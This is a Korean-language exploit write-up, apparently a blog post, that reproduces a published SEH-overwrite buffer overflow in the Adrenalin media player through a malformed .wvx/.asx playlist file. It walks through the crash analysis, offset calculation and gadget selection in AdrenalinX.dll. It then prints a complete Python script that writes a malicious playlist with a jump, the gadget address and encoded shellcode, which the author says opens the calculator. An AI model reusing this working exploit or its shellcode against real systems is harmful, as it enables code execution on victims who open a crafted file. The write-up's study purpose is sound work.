exploit-db : https://www.exploit-db.com/exploits/26525
설치파일 : http://software.naver.com/software/summary.nhn?softwareId=MFS_100099
CVE : None

 

테스팅 환경: Windows 7 Home SP1

 

1. wvx파일이란?

<ASX version="3">
<ENTRY>
<ref href="http://download.example.com/32000Hz.mp3"/>
</ENTRY>
<ENTRY>
<ref href="http://download.example.com/44100Hz.mp3"/>
</ENTRY>
</ASX>

ASX 태그를 사용하고 있지만, asx나 wvx나 똑같은 형식을 취하고 있다고 합니다. (따라서 asx파일또한 크래쉬가 납니다)

위의 코드에서 볼 수 있듯이 단순히 여러 음원파일들이 포함되어있는 플레이리스트 파일입니다.


 

2. crash 분석

import struct

f = open('evil.wvx', 'w')
f.write('A'*5000)
f.close()

A가 5000개 채워진 파일을 생성합니다.

아드레날린으로 해당 파일 열기를 시도하면 crash가 발생합니다.

Windbg의 !exchain명령으로 seh chain을 보면 41414141로 덮혀있는 것을 확인할 수 있습니다.

이를 통해 seh overwrite가 가능하다는 것을 알 수 있습니다.

mona.py를 이용해 modules를 보니 Play.exe는 safeSEH가 적용되어있고, AdrenalinX.dll에는 safeSEH가 False인것을 확인했습니다.

AdrenalinX.dll의 ppr가젯을 이용하면 seh overwrite가 가능할 것 같습니다.

 

crash가 발생한 뒤 콜스택을 보면 어디 부분에서 문제가 생겼는지 분석할 수 있습니다.

image00400000의 콜스택중 가장 상단의 주소를 확인해보면 0x4ebb9b인데, 이는 exception관련 함수 부분이었습니다.

그 바로 아래의 주소인 0x4876ee를 확인해보면 call 4E135B인데, 이는 stack cookie 검증하는 함수입니다.

따라서 해당 함수를 수행하다 오버플로우가 발생했고, stack cookie가 변조되어 crash가 된 것이라고 판단할 수 있습니다.

함수의 상단부분을 보면 인자로 Format과 Dest를 받아 4E5C3C를 호출하는 부분이 있는데, Format의 값은 '%S'인것을 보니 Scanf와 같은 함수인 것으로 볼 수 있습니다. 

해당 부분에 브레이크 포인트를 걸고 ebp와 seh chain을 보면, 0x0018fa2c - 0x180018f9d4 총 88바이트가 떨어져있고, 함수 호출시 Dest가 ebp - 0x804 이므로 seh chain을 덮기 위한 바이트는 88 + 0x804 = 2140바이트가 됩니다.

실제 pattern을 이용해 계산된 offset도 2140로 동일하다는 것을 알 수 있습니다. 

 

3. exploit 작성

우선 Play.exe에는 safe SEH가 걸려있으므로 AdrenalinX.dll에서 ppr가젯을 찾아야합니다.

 

mona의 seh기능을 이용하여 쉽게 가젯을 찾을 수 있습니다. 찾아낸 가젯중 세번째인0x1005c7e2를 사용하겠습니다.

앞서 봤듯이 %s로 입력을 받기때문에, null 바이트가 있으면 해당 부분에서 문자열이 끊기기 떄문에 payload에 null이 있으면 안됩니다. 따라서 세번째의 null이 없는 주소를 사용합니다.

import struct
ppr = 0x1005c7e2
f = open('evil.wvx', 'w')

payload = 'A'*2140
payload += '\xeb\x06\x90\x90'
payload += struct.pack('<L', ppr)
payload +=("\xd9\xc8\xb8\xa0\x47\xcf\x09\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x32\x31\x47\x17\x83\xc7\x04\x03\xe7\x54\x2d\xfc\x1b" +
"\xb2\x38\xff\xe3\x43\x5b\x89\x06\x72\x49\xed\x43\x27\x5d" +
"\x65\x01\xc4\x16\x2b\xb1\x5f\x5a\xe4\xb6\xe8\xd1\xd2\xf9" +
"\xe9\xd7\xda\x55\x29\x79\xa7\xa7\x7e\x59\x96\x68\x73\x98" +
"\xdf\x94\x7c\xc8\x88\xd3\x2f\xfd\xbd\xa1\xf3\xfc\x11\xae" +
"\x4c\x87\x14\x70\x38\x3d\x16\xa0\x91\x4a\x50\x58\x99\x15" +
"\x41\x59\x4e\x46\xbd\x10\xfb\xbd\x35\xa3\x2d\x8c\xb6\x92" +
"\x11\x43\x89\x1b\x9c\x9d\xcd\x9b\x7f\xe8\x25\xd8\x02\xeb" +
"\xfd\xa3\xd8\x7e\xe0\x03\xaa\xd9\xc0\xb2\x7f\xbf\x83\xb8" +
"\x34\xcb\xcc\xdc\xcb\x18\x67\xd8\x40\x9f\xa8\x69\x12\x84" +
"\x6c\x32\xc0\xa5\x35\x9e\xa7\xda\x26\x46\x17\x7f\x2c\x64" +
"\x4c\xf9\x6f\xe2\x93\x8b\x15\x4b\x93\x93\x15\xfb\xfc\xa2" +
"\x9e\x94\x7b\x3b\x75\xd1\x7a\xca\x44\xcf\xeb\x75\x3d\xb2" +
"\x71\x86\xeb\xf0\x8f\x05\x1e\x88\x6b\x15\x6b\x8d\x30\x91" +
"\x87\xff\x29\x74\xa8\xac\x4a\x5d\xcb\x33\xd9\x3d\x0c")

f.write(payload)
f.close()

handler위치에 ppr을 넣고 next seh에 short jmp의 opcode를 제일 마지막에는 shellcode를 삽입하여 파일을 생성합니다.

아드레날린을 실행하고, 해당 파일을 열면 계산기가 실행되는 것을 볼 수 있습니다.

복사했습니다!